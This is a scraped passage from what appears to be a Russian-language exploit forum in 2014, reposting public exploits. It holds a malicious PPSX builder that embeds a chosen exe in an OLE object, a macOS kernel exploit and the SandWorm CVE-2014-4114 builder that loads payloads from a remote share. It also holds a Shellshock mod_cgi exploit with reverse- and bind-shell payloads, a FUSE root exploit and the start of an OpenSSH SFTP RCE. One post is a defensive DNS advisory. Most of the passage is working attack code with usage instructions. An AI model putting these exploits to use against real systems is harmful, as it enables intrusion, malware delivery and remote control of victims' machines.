"\x41\x03\x00\x00\x42\x03\x00\x00\x43\x03\x00\x00\x44\x03\x00\x00\x45\x03\x00\x00\x46\x03\x00\x00\x47\x03\x00\x00\x48\x03\x00\x00\x49\x03"
"\x00\x00\x4A\x03\x00\x00\x4B\x03\x00\x00\x4C\x03\x00\x00\x4D\x03\x00\x00\x4E\x03\x00\x00\x4F\x03\x00\x00\x50\x03\x00\x00\x51\x03\x00\x00"
"\x52\x03\x00\x00\x53\x03\x00\x00\x54\x03\x00\x00\x55\x03\x00\x00\x56\x03\x00\x00\x57\x03\x00\x00\x58\x03\x00\x00\x59\x03\x00\x00\x5A\x03"
"\x00\x00\x5B\x03\x00\x00\x5C\x03\x00\x00\x5D\x03\x00\x00\x5E\x03\x00\x00\x5F\x03\x00\x00\x60\x03\x00\x00\x61\x03\x00\x00\x62\x03\x00\x00"
"\x63\x03\x00\x00\x64\x03\x00\x00\x65\x03\x00\x00\x66\x03\x00\x00\x67\x03\x00\x00\x68\x03\x00\x00\x69\x03\x00\x00\x6A\x03\x00\x00\x6B\x03"
"\x00\x00\x6C\x03\x00\x00\x6D\x03\x00\x00\x6E\x03\x00\x00\x6F\x03\x00\x00\x70\x03\x00\x00\x71\x03\x00\x00\x72\x03\x00\x00\x73\x03\x00\x00"
"\x74\x03\x00\x00\x75\x03\x00\x00\x76\x03\x00\x00\x77\x03\x00\x00\x78\x03\x00\x00\x79\x03\x00\x00\x7A\x03\x00\x00\x7B\x03\x00\x00\x7C\x03"
"\x00\x00\x7D\x03\x00\x00\x7E\x03\x00\x00\x7F\x03\x00\x00\x80\x03\x00\x00\x81\x03\x00\x00\x82\x03\x00\x00\x83\x03\x00\x00\x84\x03\x00\x00"
"\x85\x03\x00\x00\x86\x03\x00\x00\x87\x03\x00\x00\x88\x03\x00\x00\x89\x03\x00\x00\x8A\x03\x00\x00\x8B\x03\x00\x00\x8C\x03\x00\x00\x8D\x03"
"\x00\x00\x8E\x03\x00\x00\x8F\x03\x00\x00\x90\x03\x00\x00\x91\x03\x00\x00\x92\x03\x00\x00\x93\x03\x00\x00\x94\x03\x00\x00\x95\x03\x00\x00"
"\x96\x03\x00\x00\x97\x03\x00\x00\x98\x03\x00\x00\x99\x03\x00\x00\x9A\x03\x00\x00\x9B\x03\x00\x00\x9C\x03\x00\x00\x9D\x03\x00\x00\x9E\x03"
"\x00\x00\x9F\x03\x00\x00\xA0\x03\x00\x00\xA1\x03\x00\x00\xA2\x03\x00\x00\xA3\x03\x00\x00\xA4\x03\x00\x00\xA5\x03\x00\x00\xA6\x03\x00\x00"
"\xA7\x03\x00\x00\xA8\x03\x00\x00\xA9\x03\x00\x00\xAA\x03\x00\x00\xAB\x03\x00\x00\xAC\x03\x00\x00\xAD\x03\x00\x00\xAE\x03\x00\x00\xAF\x03"
"\x00\x00\xB0\x03\x00\x00\xB1\x03\x00\x00\xB2\x03\x00\x00\xB3\x03\x00\x00\xB4\x03\x00\x00\xB5\x03\x00\x00\xB6\x03\x00\x00\xB7\x03\x00\x00"
"\xB8\x03\x00\x00\xB9\x03\x00\x00\xBA\x03\x00\x00\xBB\x03\x00\x00\xBC\x03\x00\x00\xBD\x03\x00\x00\xBE\x03\x00\x00\xBF\x03\x00\x00\xC0\x03"
"\x00\x00\xC1\x03\x00\x00\xC2\x03\x00\x00\xC3\x03\x00\x00\xC4\x03\x00\x00\xC5\x03\x00\x00\xC6\x03\x00\x00\xC7\x03\x00\x00\xC8\x03\x00\x00"
"\xC9\x03\x00\x00\xCA\x03\x00\x00\xCB\x03\x00\x00\xCC\x03\x00\x00\xCD\x03\x00\x00\xCE\x03\x00\x00\xCF\x03\x00\x00\xD0\x03\x00\x00\xD1\x03"
"\x00\x00\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x19\x91\x07\x00\x02\x00\x70\x75\x74\x74\x79\x2E\x65\x78"
"\x65\x00\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x48\x43\x4C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x50\x4F\x43\x5C\x70\x75\x74\x74\x79\x2E\x65"
"\x78\x65\x00\x00\x00\x03\x00\x2A\x00\x00\x00\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x48\x43\x4C\x5C\x41\x70\x70\x44\x61\x74\x61\x5C\x4C\x6F"
"\x63\x61\x6C\x5C\x54\x65\x6D\x70\x5C\x70\x75\x74\x74\x79\x2E\x65\x78\x65\x00\x00\x90\x07\x00"
)
  
if len(sys.argv) != 2:
    print ("[+] Usage: "+ sys.argv[0] + " [exe file] (EXE file should be less than 400KB)")
    exit(0)
      
  
file = sys.argv[1]
f = open(file,mode='rb')
buff=f.read()
f.close()
  
evilbuff = bytearray((oleole + buff))
evilbuff += "\x00" * 20000
  
  
file = "temp\ppt\embeddings\oleObject1.bin"
f = open(file,mode='wb')
f.write(evilbuff)
print ("[+] Injected exe into OLE")
  
shutil.make_archive("exploit", "zip", "temp")
print ("[+] packing exploit ppsx")
shutil.move('exploit.zip', 'CVE-2014-6352.ppsx')
print ("[+] Done")
 
# DA2FC6228A7AC4DD   1337day.com [2014-11-13]   9862646BB825B4A2 #
критическая уязвимость MacOSX
ID: 67686ba3b4103b69df379d30
Thread ID: 25460
Created: 2014-10-30T13:15:19+0000
Last Post: 2014-10-31T19:51:01+0000
Author: pixe1
Prefix: Local
Replies: 1 Views: 1K

мой репортс с эксплоита

http://randomthoughts.greyhats.it/2014/10/...escalation.html

свежая (пара часов публикации) уязвимость 0го для в MacOSX <= 10.10 -
уязвимость была проперчена в Yosemite без публичного оглашения все
остальные версии уязвимы

эксполит:

Code:Copy to clipboard

/*
 * pwn.c, by @rpaleari and @joystick
 *
 * This PoC exploits a missing sign check in
 * IOBluetoothHCIUserClient::SimpleDispatchWL().
 *
 * Tested on  Mac OS X Mavericks (10.9.4/10.9.5).
 *
 * Compile with: gcc -Wall -o pwn{,.c} -framework IOKit
 *
 */

#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t payload() {
  /* Your payload goes here. */
}

int main(void) {
  /* Map our landing page (kernel will jump at tgt+7) */
  vm_address_t tgt = 0x0000048800000000;
  vm_allocate(mach_task_self(), &tgt, 0x1000, 0);
  vm_protect(mach_task_self(), tgt, 0x1000, 0,
         VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE);
  memset((void *)tgt, 0, 0x1000);

  /* Prepare payload */
  char *target = (char *)tgt;
 
  /* mov rax, payload */
  target[7] = 0x48;
  target[8] = 0xb8;
  *((uint64_t *)(&target[9])) = (uint64_t) payload;
 
  /* jmp rax */
  target[17] = 0xff;
  target[18] = 0xe0;

  printf(" [+] Payload function  @ %016llx\n", (uint64_t) payload);
  printf(" [+] Stored trampoline @ %016llx\n", (uint64_t) tgt+7);

  /* Find the vulnerable service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
                IOServiceMatching("IOBluetoothHCIController"));
 
  if (!service) {
    return -1;
  }

  /* Connect to the vulnerable service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  printf(" [+] Opened connection to service on port: %d\n", port);

  /* The first 8 bytes must be 0, so we don't have to handle following
     parameters */
  char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00"
    /* Don't really matter for the exploit (ignored due to the 0s above) */
    "\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86"
    "\x80\xff\xff\xff"
    /* Index value 0xfff5b6a8 makes _sRoutines[index] point to an in-kernel
       memory area that contains {0x0000048800000007, N}, with 0 <= N < 8. May
       need to be adjusted on other Mavericks versions. */
    "\xa8\xb6\xf5\xff\x80\xff\xff\xff";
 
  printf(" [+] Launching exploit!\n");
  kr = IOConnectCallMethod((mach_port_t) port,      /* Connection      */
                           (uint32_t) 0,            /* Selector        */
                           NULL, 0,                 /* input, inputCnt */
                           (const void*) a,         /* inputStruct     */
                           sizeof(a),               /* inputStructCnt  */
                           NULL, NULL, NULL, NULL); /* Output stuff    */

  /* Exec shell here after payload returns */
 
  return IOServiceClose(port);
}
Windows OLE Package Manager
ID: 67686ba3b4103b69df379d31
Thread ID: 25447
Created: 2014-10-21T06:10:40+0000
Last Post: 2014-10-21T06:10:40+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
import os
import zipfile
import sys
  
'''
  
Very quick and ugly [SandWorm CVE-2014-4114] exploit builder
Exploit Title: CVE-2014-4114 SandWorm builder
Built to run on: Linux/MacOSX
Date: 17/10/2014
Exploit Author: Vlad Ovtchinikov (@v1ad_o)
Vendor Homepage: microsoft.com
Tested on: Win7Sp1 64 bit  - Microsoft Offcie 2013 Plus
Demo: http://youtu.be/ljjEkhflpvM
CVE : CVE-2014-4114
NOTE:
expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)
should be located in the same  dir as the builder.
01:39 cve-2014-4114.py
19:35 expl.inf
15:37 expl.zip
  
e.g.  python cve-2014-4114.py 10.0.0.233 rdb xxx.exe
10.0.0.233 - ip
rdb - share
xxx.exe - dropper
'''
host=sys.argv[1]
share=sys.argv[2]
mal_file=sys.argv[3]
  
print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"
print "Building ... \n "
  
# extract the original .ppsx PoC
mal_file= mal_file.replace(' ', '')[:-4].lower()
fh = open('expl.zip', 'rb')
z = zipfile.ZipFile(fh)
for name in z.namelist():
    outpath = "./tmp"
    z.extract(name, outpath)
fh.close()
  
os.mkdir('out')
os.chdir('tmp')
  
# oleObject1.bin mod for GIF
infile = open('ppt/embeddings/oleObject1.bin')
outfile = open('ppt/embeddings/1.bin','w')
replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()
os.remove ('ppt/embeddings/oleObject1.bin')
os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')
  
# oleObject2.bin mod for INF
infile = open('ppt/embeddings/oleObject2.bin')
outfile = open('ppt/embeddings/2.bin','w')
replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()
  
os.remove ('ppt/embeddings/oleObject2.bin')
os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')
os.system("zip -q  -9 -r  ../out/exploit.ppsx * ")
os.chdir('..')
  
# oleObject2.bin mod for INF prep
infile = open('expl.inf')
outfile = open('out/'+mal_file+'.inf','w')
replacements = {'slide1':mal_file}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()
os.system("rm -rf tmp")
  
print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'
print 'Done - collect your files from the [out] folder.\n'
 
# 6164784C47D0AB17   1337day.com [2014-10-21]   BA89CE88A1D32116 #
Firefox / MSIE Memory Disclosure Bugs
ID: 67686ba3b4103b69df379d32
Thread ID: 25439
Created: 2014-10-16T10:08:49+0000
Last Post: 2014-10-16T10:08:49+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Firefox versions prior to 33 leak bits of uninitialized memory when rendering certain types of truncated images onto canvas tags. Secondly, MSRC case #19611cz is a seemingly similar issue with Internet Explorer apparently using bits of uninitialized stack data when handling JPEG files with an oddball DHT.

Click to expand...

:zns5: [Скачать|Download](http://packetstorm.sigterm.no/1410-exploits/browser- disclose.tgz)

DNS Reverse Lookup Shellshock
ID: 67686ba3b4103b69df379d33
Thread ID: 25437
Created: 2014-10-14T05:41:18+0000
Last Post: 2014-10-14T05:41:18+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

CVE-2014-3671, CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

Click to expand...

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Security Advisory

DNS Reverse Lookup as a vector for the Bash vulnerability (CVE-2014-6271 et.al.)

CVE-2014-3671

references:
CVE-2014-6271, CVE-2014-7169, CVE-2014-6277, CVE-2014-6278
CVE-2014-7186 and, CVE-2014-7187

  • Summary:

Above CVEs detail a number of flaws in bash prior related to the parsing
of environment variables (aka BashBug, Shellshock). Several networked
vectors for triggering this bug have been discovered; such as through
dhcp options and CGI environment variables in webservers [1].

This document is to advise you of an additional vector; through a
reverse lookup in DNS; and where the results of this lookup are
passed, unsanitized, to an environment variable (e.g. as part of
a batch process).

This vector is subtly different from a normal attack vector, as the
attacker can 'sit back' and let a (legitimate) user trigger the
issue; hence keeping the footprint for a IDS or WAAS to act on small.

  • Resolvers/systems affected:

At this point of time the stock resolvers (in combination with the libc
library) of OSX 10.9 (all versions) and 10.10/R2 are the only known
standard installations that pass the bash exploit string back and
up to getnameinfo().

That means that UNpatched systems are vulnerable through this vector
PRIOR to the bash update documented in http://support.apple.com/kb/DL1769.

Most other OS-es (e.g. RHEL6, Centos, FreeBSD 7 and up, seem
unaffected in their stock install as libc/libresolver and DNS use
different escaping mechanisms (octal v.s. decimal).

We're currently following investing a number of async DNS resolvers
that are commonly used in DB cache/speed optimising products and
application level/embedded firewall systems.

Versions affected:

See above CVEs as your primary source.

  • Resolution and Mitigation:

In addition to the mitigations listed in above CVEs - IDSes and similar
systems may be configured to parse DNS traffic in order to spot the
offending strings.

Also note that Apple DL1769 addresses the Bash issue; NOT the vector
through the resolver.

  • Reproducing the flaw:

A simple zone file; such as:

$TTL 10;
$ORIGIN in-addr.arpa.
@ IN SOA ns.boem.wleiden.net dirkx.webweaving.org (
666 ; serial
360 180 3600 1800 ; very short lifespan.
)
IN NS 127.0.0.1

  • PTR "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"

can be used to create an environment in which to test the issue with existing code
or with the following trivial example:

Code:Copy to clipboard

    #include <sys/socket.h>
    #include <netdb.h>
    #include <assert.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>

    int main(int argc, char ** argv) {
     struct in_addr addr;
     struct sockaddr_in sa;
     char host[1024];

     assert(argc==2);
     assert(inet_aton(argv[1],&addr) == 1);

     sa.sin_family = AF_INET;
     sa.sin_addr = addr;

     assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
          host, sizeof host, NULL, 0, NI_NAMEREQD));

     printf("Lookup result: %s\n\n", host);  

     assert(setenv("REMOTE_HOST",host,1) == 0);
     execl("/bin/bash",NULL);
    }

Credits and timeline

The flaw was found and reported by Stephane Chazelas (see CVE-2014-6271
for details). Dirk-Willem van Gulik (dirkx(at)webweaving.org) found
the DNS reverse lookup vector.

09-04-2011 first reported.
2011, 2014 issue verified on various embedded/firewall/waas
systems and reported to vendors.
??-09-2014 Apple specific exploited seen.
11-10-2014 Apple confirms that with DL1769 in place that
"The issue that remains, while it raises
interesting questions, is not a security
issue in and of itself."

  • Common Vulnerability Scoring (Version 2) and vector:

See CVE-2014-6271.

1:https://github.com/mubix/shellshocker-pocs/blob/master/README.md)
1.10 / : 1726 $
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: This message is encrypted and/or signed with PGP (gnu-pg, gpg). Contact dirkx@webweaving.org if you cannot read it.

iQCVAwUBVDujjDGmPZbsFAuBAQKGqwP+OOzdL8PDZF7Ckpk1UCxZZoWYvvGUHBqs
dE8ioLaQsRDKJ+V2EbBGHmSucYLPqBVfRYaYar21KCl6DAcxzQmxhymxxpRjBPsP
uauqW7dYZQASDkKG9Rn0KA4dXNo9GjrJMrTcwkfkoNb5EtVtiMDX8VXoZ4SqLJS0
v5s8ZtQiIw4=
=I6vK
-----END PGP SIGNATURE-----

Click to expand...

Apache mod_cgi Remote Command Execution
ID: 67686ba3b4103b69df379d34
Thread ID: 25436
Created: 2014-10-10T06:00:14+0000
Last Post: 2014-10-10T06:00:14+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Click to expand...

Apache mod_cgi remote command execution exploit that leverages shellshock.

Click to expand...

Code:Copy to clipboard

#! /usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys
 
stop = False
proxyhost = ""
proxyport = 0
 
def usage():
    print """
 
        Shellshock apache mod_cgi remote exploit
 
Usage:
./exploit.py var=<value>
 
Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages:  specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy
 
Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
 
Example:
 
./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234
 
Credits:
 
Federico Galatolo 2014
"""
    sys.exit(0)
 
def exploit(lhost,lport,rhost,rport,payload,pages):
    headers = {"Cookie": payload, "Referer": payload}
     
    for page in pages:
        if stop:
            return
        print "[-] Trying exploit on : "+page
        if proxyhost != "":
            c = httplib.HTTPConnection(proxyhost,proxyport)
            c.request("GET","http://"+rhost+page,headers=headers)
            res = c.getresponse()
        else:
            c = httplib.HTTPConnection(rhost)
            c.request("GET",page,headers=headers)
            res = c.getresponse()
        if res.status == 404:
            print "[*] 404 on : "+page
        time.sleep(1)
         
 
args = {}
     
for arg in sys.argv[1:]:
    ar = arg.split("=")
    args[ar[0]] = ar[1]
try:
    args['payload']
except:
    usage()
     
if args['payload'] == 'reverse':
    try:
        lhost = args['lhost']
        lport = int(args['lport'])
        rhost = args['rhost']
        payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
    except:
        usage()
elif args['payload'] == 'bind':
    try:
        rhost = args['rhost']
        rport = args['rport']
        payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
    except:
        usage()
else:
    print "[*] Unsupported payload"
    usage()
     
try:
    pages = args['pages'].split(",")
except:
    pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
 
try:
    proxyhost,proxyport = args['proxy'].split(":")
except:
    pass
             
if args['payload'] == 'reverse':
    serversocket = socket(AF_INET, SOCK_STREAM)
    buff = 1024
    addr = (lhost, lport)
    serversocket.bind(addr)
    serversocket.listen(10)
    print "[!] Started reverse shell handler"
    thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
    serversocket = socket(AF_INET, SOCK_STREAM)
    addr = (rhost,int(rport))
    thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
     
buff = 1024
     
while True:
    if args['payload'] == 'reverse':
        clientsocket, clientaddr = serversocket.accept()
        print "[!] Successfully exploited"
        print "[!] Incoming connection from "+clientaddr[0]
        stop = True
        clientsocket.settimeout(3)
        while True:
            reply = raw_input(clientaddr[0]+"> ")
            clientsocket.sendall(reply+"\n")
            try:
                data = clientsocket.recv(buff)
                print data
            except:
                pass
         
    if args['payload'] == 'bind':
        try:
            serversocket = socket(AF_INET, SOCK_STREAM)
            time.sleep(1)
            serversocket.connect(addr)
            print "[!] Successfully exploited"
            print "[!] Connected to "+rhost
            stop = True
            serversocket.settimeout(3)
            while True:
                reply = raw_input(rhost+"> ")
                serversocket.sendall(reply+"\n")
                data = serversocket.recv(buff)
                print data
        except:
            pass
Linux Kernel 3.16.1 FUSE Privilege Escalation
ID: 67686ba3b4103b69df379d35
Thread ID: 25428
Created: 2014-10-09T06:29:19+0000
Last Post: 2014-10-09T16:43:59+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 1K

FUSE-based exploit that leverages a flaw in fs/namespace.c where it does not properly restrict clearing MNT_NODEV, MNT_NOSUID, and MNT_NOEXEC and changing MNT_ATIME_MASK during a remount of a bind mount, which allows local users to gain privileges. Linux kernels through 3.16.1 are affected.

Click to expand...

Code:Copy to clipboard

/*
  FUSE-based exploit for CVE-2014-5207
  Copyright (c) 2014 Andy Lutomirski

  Based on code that is:
  Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>

  This program can be distributed under the terms of the GNU GPL.
  See the file COPYING.

  gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
  mkdir test
  ./fuse_suid test

  This isn't a work of art: it doesn't clean up after itself very well.
*/

#define _GNU_SOURCE
#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <unistd.h>

static const char *sh_path = "/sh";
static int sh_fd;
static loff_t sh_size;

static int hello_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, sh_path) == 0) {
        stbuf->st_mode = S_IFREG | 04755;
        stbuf->st_nlink = 1;
        stbuf->st_size = sh_size;
    } else
        res = -ENOENT;

    return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
             off_t offset, struct fuse_file_info *fi)
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0)
        return -ENOENT;

    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, sh_path + 1, NULL, 0);

    return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi)
{
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    if ((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset,
              struct fuse_file_info *fi)
{
    (void) fi;
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    return pread(sh_fd, buf, size, offset);
}

static struct fuse_operations hello_oper = {
    .getattr    = hello_getattr,
    .readdir    = hello_readdir,
    .open        = hello_open,
    .read        = hello_read,
};

static int evilfd = -1;

static int child2(void *mnt_void)
{
    const char *mountpoint = mnt_void;
    int fd2;

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
        err(1, "unshare");

    if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
        err(1, "mount");

    fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
    if (fd2 == -1)
        err(1, "open");

    if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
        err(1, "dup3");
    close(fd2);

    printf("Mount hackery seems to have worked.\n");

    exit(0);
}

static int child1(const char *mountpoint)
{
    char child2stack[2048];
    char evil_path[1024];

    evilfd = dup(0);
    if (evilfd == -1)
        err(1, "dup");

    if (clone(child2, child2stack,
          CLONE_FILES | CLONE_VFORK,
          (void *)mountpoint) == -1)
        err(1, "clone");

    printf("Here goes...\n");

    sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
    execl(evil_path, "sh", "-p", NULL);
    perror(evil_path);
    return 1;
}

static int fuse_main_suid(int argc, char *argv[],
              const struct fuse_operations *op,
              void *user_data)
{
    struct fuse *fuse;
    char *mountpoint;
    int multithreaded;
    int res;

    if (argc != 2) {
        printf("Usage: fuse_suid <mountpoint>\n");
        return -EINVAL;
    }

    char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};

    fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
              op, sizeof(*op), &mountpoint,
              &multithreaded, user_data);
    if (fuse == NULL)
        return 1;

    printf("FUSE initialized.  Time to have some fun...\n");
    printf("Warning: this exploit hangs on exit.  Hit Ctrl-C when done.\n");
    if (fork() == 0)
        _exit(child1(mountpoint));

    if (multithreaded)
        res = fuse_loop_mt(fuse);
    else
        res = fuse_loop(fuse);

    fuse_teardown(fuse, mountpoint);
    if (res == -1)
        return 1;

    return 0;
}

int main(int argc, char *argv[])
{
    sh_fd = open("/bin/bash", O_RDONLY);
    if (sh_fd == -1)
        err(1, "sh");
    sh_size = lseek(sh_fd, 0, SEEK_END);
    return fuse_main_suid(argc, argv, &hello_oper, NULL);
}
OpenSSH 6.6 SFTP Misconfiguration Proof Of Concept
ID: 67686ba3b4103b69df379d36
Thread ID: 25427
Created: 2014-10-09T06:28:22+0000
Last Post: 2014-10-09T14:38:38+0000
Author: DarckSol
Prefix: DoS
Replies: 1 Views: 1K

OpenSSH versions 6.6 and below SFTP misconfiguration proof of concept remote code execution exploit for 64bit Linux.

Click to expand...

OpenSSH lets you grant SFTP access to users without allowing full command
execution using "ForceCommand internal-sftp". However, if you misconfigure
the server and don't use ChrootDirectory, the user will be able to access
all parts of the filesystem that he has access to - including procfs. On
modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the
memory layout and /proc/self/mem lets you write to arbitrary memory
positions. Combine those and you get easy RCE.

The linux version of OpenSSH 6.7 contains a mitigation, see the release notes:

  • sftp-server(8): On platforms that support it, use prctl() to
    prevent sftp-server from accessing /proc/self/{mem,maps}

Here's my PoC for 64bit Linux:

#define _GNU_SOURCE

// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
// (In other words, please don't use this against other people's machines.)

Code:Copy to clipboard

#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define min(a,b) (((a)<(b))?(a):(b))

sftp_session sftp;

size_t grab_file(char *rpath, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n",

rpath, ssh_get_error(sftp)), exit(1); while (1) { ssize_t nbytes = sftp_read(f, *out+used, allocated-used); if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1); if (nbytes == 0) { (*out)[used] = '\0'; sftp_close(f); return used; } used += nbytes; if (used == allocated) { allocated *= 4; *out = realloc(*out, allocated); } } }

void dump_file(char *name, void *buf, size_t len) {
  FILE *f = fopen(name, "w+");
  if (!f) perror("can't write to local file"), exit(1);
  if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write

failed\n"), exit(1); if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1); }

